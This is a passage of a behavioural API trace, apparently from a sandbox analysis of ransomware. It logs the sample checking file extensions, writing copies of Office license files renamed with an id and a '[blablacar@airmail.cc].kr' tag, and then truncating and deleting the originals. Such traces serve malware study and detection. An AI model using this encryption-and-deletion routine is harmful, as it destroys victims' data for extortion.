files\\microsoft office\\root\\licenses16\\powerpointr_retail-ppd.xrm-ms")) returned 1 [0213.174] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_Retail-ppd.xrm-ms") returned 79 [0213.174] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_Retail-ppd.xrm-ms") returned 79 [0213.174] lstrlenW (lpString=".doc") returned 4 [0213.174] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0213.174] lstrlenW (lpString=".docx") returned 5 [0213.174] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0213.174] lstrlenW (lpString=".pdf") returned 4 [0213.174] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0213.174] lstrlenW (lpString=".xls") returned 4 [0213.174] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0213.174] lstrlenW (lpString=".xlsx") returned 5 [0213.174] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0213.174] lstrlenW (lpString=".ppt") returned 4 [0213.174] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0213.174] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_Retail-ppd.xrm-ms") returned 79 [0213.174] lstrlenW (lpString=".zip") returned 4 [0213.174] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0213.174] lstrlenW (lpString=".rar") returned 4 [0213.174] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0213.174] lstrlenW (lpString=".bz2") returned 4 [0213.174] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0213.174] lstrlenW (lpString=".7z") returned 3 [0213.174] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0213.175] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_Retail-ppd.xrm-ms") returned 79 [0213.175] lstrlenW (lpString=".dbf") returned 4 [0213.175] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0213.175] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_Retail-ppd.xrm-ms") returned 79 [0213.175] lstrlenW (lpString=".1cd") returned 4 [0213.175] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0213.175] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_Retail-ppd.xrm-ms") returned 79 [0213.175] lstrlenW (lpString=".jpg") returned 4 [0213.175] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0213.175] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_Retail-ppd.xrm-ms") returned 79 [0213.175] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_Retail-ppd.xrm-ms") returned 79 [0213.175] lstrlenW (lpString=".doc") returned 4 [0213.175] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0213.175] lstrlenW (lpString=".docx") returned 5 [0213.175] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0213.175] lstrlenW (lpString=".pdf") returned 4 [0213.175] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0213.175] lstrlenW (lpString=".xls") returned 4 [0213.175] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0213.175] lstrlenW (lpString=".xlsx") returned 5 [0213.175] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0213.175] lstrlenW (lpString=".ppt") returned 4 [0213.175] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0213.175] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_Retail-ppd.xrm-ms") returned 79 [0213.175] lstrlenW (lpString=".zip") returned 4 [0213.175] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0213.175] lstrlenW (lpString=".rar") returned 4 [0213.175] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0213.175] lstrlenW (lpString=".bz2") returned 4 [0213.175] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0213.175] lstrlenW (lpString=".7z") returned 3 [0213.175] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0213.175] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_Retail-ppd.xrm-ms") returned 79 [0213.176] lstrlenW (lpString=".dbf") returned 4 [0213.176] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0213.176] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_Retail-ppd.xrm-ms") returned 79 [0213.176] lstrlenW (lpString=".1cd") returned 4 [0213.176] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0213.176] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_Retail-ppd.xrm-ms") returned 79 [0213.176] lstrlenW (lpString=".jpg") returned 4 [0213.176] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0213.176] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0213.176] lstrlenW (lpString="PowerPointR_Retail-ul-oob.xrm-ms") returned 32 [0213.176] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\powerpointr_retail-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0213.177] GetFileSizeEx (in: hFile=0x3f8, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=11599) returned 1 [0213.177] CloseHandle (hObject=0x3f8) returned 1 [0213.177] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\powerpointr_retail-ul-oob.xrm-ms")) returned 0x220 [0213.177] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_Retail-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\powerpointr_retail-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0213.177] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\powerpointr_retail-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0213.177] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0213.177] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0213.177] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_Retail-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\powerpointr_retail-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0213.408] GetLastError () returned 0x0 [0213.408] ReadFile (in: hFile=0x3f8, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x2d4f, lpOverlapped=0x0) returned 1 [0213.446] WriteFile (in: hFile=0x518, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x2d50, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x2d50, lpOverlapped=0x0) returned 1 [0213.447] ReadFile (in: hFile=0x3f8, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0213.447] WriteFile (in: hFile=0x518, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x114, lpOverlapped=0x0) returned 1 [0213.447] SetEndOfFile (hFile=0x518) returned 1 [0213.447] CloseHandle (hObject=0x518) returned 1 [0213.447] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0213.447] SetEndOfFile (hFile=0x3f8) returned 1 [0213.450] CloseHandle (hObject=0x3f8) returned 1 [0213.450] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_Retail-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0213.450] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\powerpointr_retail-ul-oob.xrm-ms")) returned 1 [0213.451] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_Retail-ul-oob.xrm-ms") returned 82 [0213.451] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_Retail-ul-oob.xrm-ms") returned 82 [0213.451] lstrlenW (lpString=".doc") returned 4 [0213.451] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0213.451] lstrlenW (lpString=".docx") returned 5 [0213.451] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0213.451] lstrlenW (lpString=".pdf") returned 4 [0213.451] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0213.451] lstrlenW (lpString=".xls") returned 4 [0213.451] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0213.451] lstrlenW (lpString=".xlsx") returned 5 [0213.452] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0213.452] lstrlenW (lpString=".ppt") returned 4 [0213.452] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0213.452] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_Retail-ul-oob.xrm-ms") returned 82 [0213.452] lstrlenW (lpString=".zip") returned 4 [0213.452] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0213.452] lstrlenW (lpString=".rar") returned 4 [0213.452] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0213.452] lstrlenW (lpString=".bz2") returned 4 [0213.452] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0213.452] lstrlenW (lpString=".7z") returned 3 [0213.452] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0213.452] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_Retail-ul-oob.xrm-ms") returned 82 [0213.452] lstrlenW (lpString=".dbf") returned 4 [0213.452] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0213.452] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_Retail-ul-oob.xrm-ms") returned 82 [0213.452] lstrlenW (lpString=".1cd") returned 4 [0213.452] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0213.452] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_Retail-ul-oob.xrm-ms") returned 82 [0213.452] lstrlenW (lpString=".jpg") returned 4 [0213.452] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0213.452] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_Retail-ul-oob.xrm-ms") returned 82 [0213.452] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_Retail-ul-oob.xrm-ms") returned 82 [0213.452] lstrlenW (lpString=".doc") returned 4 [0213.452] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0213.452] lstrlenW (lpString=".docx") returned 5 [0213.452] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0213.452] lstrlenW (lpString=".pdf") returned 4 [0213.452] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0213.452] lstrlenW (lpString=".xls") returned 4 [0213.452] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0213.452] lstrlenW (lpString=".xlsx") returned 5 [0213.453] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0213.453] lstrlenW (lpString=".ppt") returned 4 [0213.453] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0213.453] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_Retail-ul-oob.xrm-ms") returned 82 [0213.453] lstrlenW (lpString=".zip") returned 4 [0213.453] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0213.453] lstrlenW (lpString=".rar") returned 4 [0213.453] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0213.453] lstrlenW (lpString=".bz2") returned 4 [0213.453] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0213.453] lstrlenW (lpString=".7z") returned 3 [0213.453] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0213.453] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_Retail-ul-oob.xrm-ms") returned 82 [0213.453] lstrlenW (lpString=".dbf") returned 4 [0213.453] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0213.453] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_Retail-ul-oob.xrm-ms") returned 82 [0213.453] lstrlenW (lpString=".1cd") returned 4 [0213.453] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0213.453] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_Retail-ul-oob.xrm-ms") returned 82 [0213.453] lstrlenW (lpString=".jpg") returned 4 [0213.453] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0213.453] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0213.453] lstrlenW (lpString="PowerPointVL_KMS_Client-ul-oob.xrm-ms") returned 37 [0213.453] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointVL_KMS_Client-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\powerpointvl_kms_client-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0213.454] GetFileSizeEx (in: hFile=0x3f8, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=11634) returned 1 [0213.454] CloseHandle (hObject=0x3f8) returned 1 [0213.454] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointVL_KMS_Client-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\powerpointvl_kms_client-ul-oob.xrm-ms")) returned 0x220 [0213.454] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointVL_KMS_Client-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\powerpointvl_kms_client-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0213.454] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointVL_KMS_Client-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\powerpointvl_kms_client-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0213.455] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0213.455] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0213.455] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointVL_KMS_Client-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\powerpointvl_kms_client-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0213.456] GetLastError () returned 0x0 [0213.456] ReadFile (in: hFile=0x3f8, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x2d72, lpOverlapped=0x0) returned 1 [0213.468] WriteFile (in: hFile=0x518, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x2d80, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x2d80, lpOverlapped=0x0) returned 1 [0213.469] ReadFile (in: hFile=0x3f8, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0213.469] WriteFile (in: hFile=0x518, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x11e, lpOverlapped=0x0) returned 1 [0213.469] SetEndOfFile (hFile=0x518) returned 1 [0213.469] CloseHandle (hObject=0x518) returned 1 [0213.470] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0213.470] SetEndOfFile (hFile=0x3f8) returned 1 [0213.695] CloseHandle (hObject=0x3f8) returned 1 [0213.695] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointVL_KMS_Client-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0213.696] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointVL_KMS_Client-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\powerpointvl_kms_client-ul-oob.xrm-ms")) returned 1 [0213.697] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointVL_KMS_Client-ul-oob.xrm-ms") returned 87 [0213.697] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointVL_KMS_Client-ul-oob.xrm-ms") returned 87 [0213.697] lstrlenW (lpString=".doc") returned 4 [0213.697] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0213.697] lstrlenW (lpString=".docx") returned 5 [0213.697] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0213.697] lstrlenW (lpString=".pdf") returned 4 [0213.697] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0213.697] lstrlenW (lpString=".xls") returned 4 [0213.697] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0213.697] lstrlenW (lpString=".xlsx") returned 5 [0213.697] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0213.697] lstrlenW (lpString=".ppt") returned 4 [0213.697] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0213.697] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointVL_KMS_Client-ul-oob.xrm-ms") returned 87 [0213.697] lstrlenW (lpString=".zip") returned 4 [0213.697] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0213.697] lstrlenW (lpString=".rar") returned 4 [0213.697] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0213.697] lstrlenW (lpString=".bz2") returned 4 [0213.697] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0213.697] lstrlenW (lpString=".7z") returned 3 [0213.697] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0213.697] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointVL_KMS_Client-ul-oob.xrm-ms") returned 87 [0213.697] lstrlenW (lpString=".dbf") returned 4 [0213.697] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0213.697] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointVL_KMS_Client-ul-oob.xrm-ms") returned 87 [0213.697] lstrlenW (lpString=".1cd") returned 4 [0213.697] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0213.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointVL_KMS_Client-ul-oob.xrm-ms") returned 87 [0213.698] lstrlenW (lpString=".jpg") returned 4 [0213.698] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0213.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointVL_KMS_Client-ul-oob.xrm-ms") returned 87 [0213.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointVL_KMS_Client-ul-oob.xrm-ms") returned 87 [0213.698] lstrlenW (lpString=".doc") returned 4 [0213.698] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0213.698] lstrlenW (lpString=".docx") returned 5 [0213.698] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0213.698] lstrlenW (lpString=".pdf") returned 4 [0213.698] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0213.698] lstrlenW (lpString=".xls") returned 4 [0213.698] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0213.698] lstrlenW (lpString=".xlsx") returned 5 [0213.698] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0213.698] lstrlenW (lpString=".ppt") returned 4 [0213.698] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0213.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointVL_KMS_Client-ul-oob.xrm-ms") returned 87 [0213.698] lstrlenW (lpString=".zip") returned 4 [0213.698] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0213.698] lstrlenW (lpString=".rar") returned 4 [0213.698] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0213.698] lstrlenW (lpString=".bz2") returned 4 [0213.698] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0213.698] lstrlenW (lpString=".7z") returned 3 [0213.698] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0213.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointVL_KMS_Client-ul-oob.xrm-ms") returned 87 [0213.698] lstrlenW (lpString=".dbf") returned 4 [0213.698] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0213.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointVL_KMS_Client-ul-oob.xrm-ms") returned 87 [0213.698] lstrlenW (lpString=".1cd") returned 4 [0213.698] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0213.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointVL_KMS_Client-ul-oob.xrm-ms") returned 87 [0213.699] lstrlenW (lpString=".jpg") returned 4 [0213.699] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0213.699] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0213.699] lstrlenW (lpString="PowerPointVL_MAK-pl.xrm-ms") returned 26 [0213.699] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointVL_MAK-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\powerpointvl_mak-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0213.699] GetFileSizeEx (in: hFile=0x3f8, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=10639) returned 1 [0213.700] CloseHandle (hObject=0x3f8) returned 1 [0213.700] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointVL_MAK-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\powerpointvl_mak-pl.xrm-ms")) returned 0x220 [0213.700] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointVL_MAK-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\powerpointvl_mak-pl.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0213.700] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointVL_MAK-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\powerpointvl_mak-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0213.700] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0213.700] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0213.700] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointVL_MAK-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\powerpointvl_mak-pl.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0213.701] GetLastError () returned 0x0 [0213.701] ReadFile (in: hFile=0x3f8, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x298f, lpOverlapped=0x0) returned 1 [0213.703] WriteFile (in: hFile=0x518, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x2990, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x2990, lpOverlapped=0x0) returned 1 [0213.704] ReadFile (in: hFile=0x3f8, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0213.704] WriteFile (in: hFile=0x518, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x108, lpOverlapped=0x0) returned 1 [0213.704] SetEndOfFile (hFile=0x518) returned 1 [0213.704] CloseHandle (hObject=0x518) returned 1 [0213.705] SetFilePointerEx (in: hFile=0x3f8, 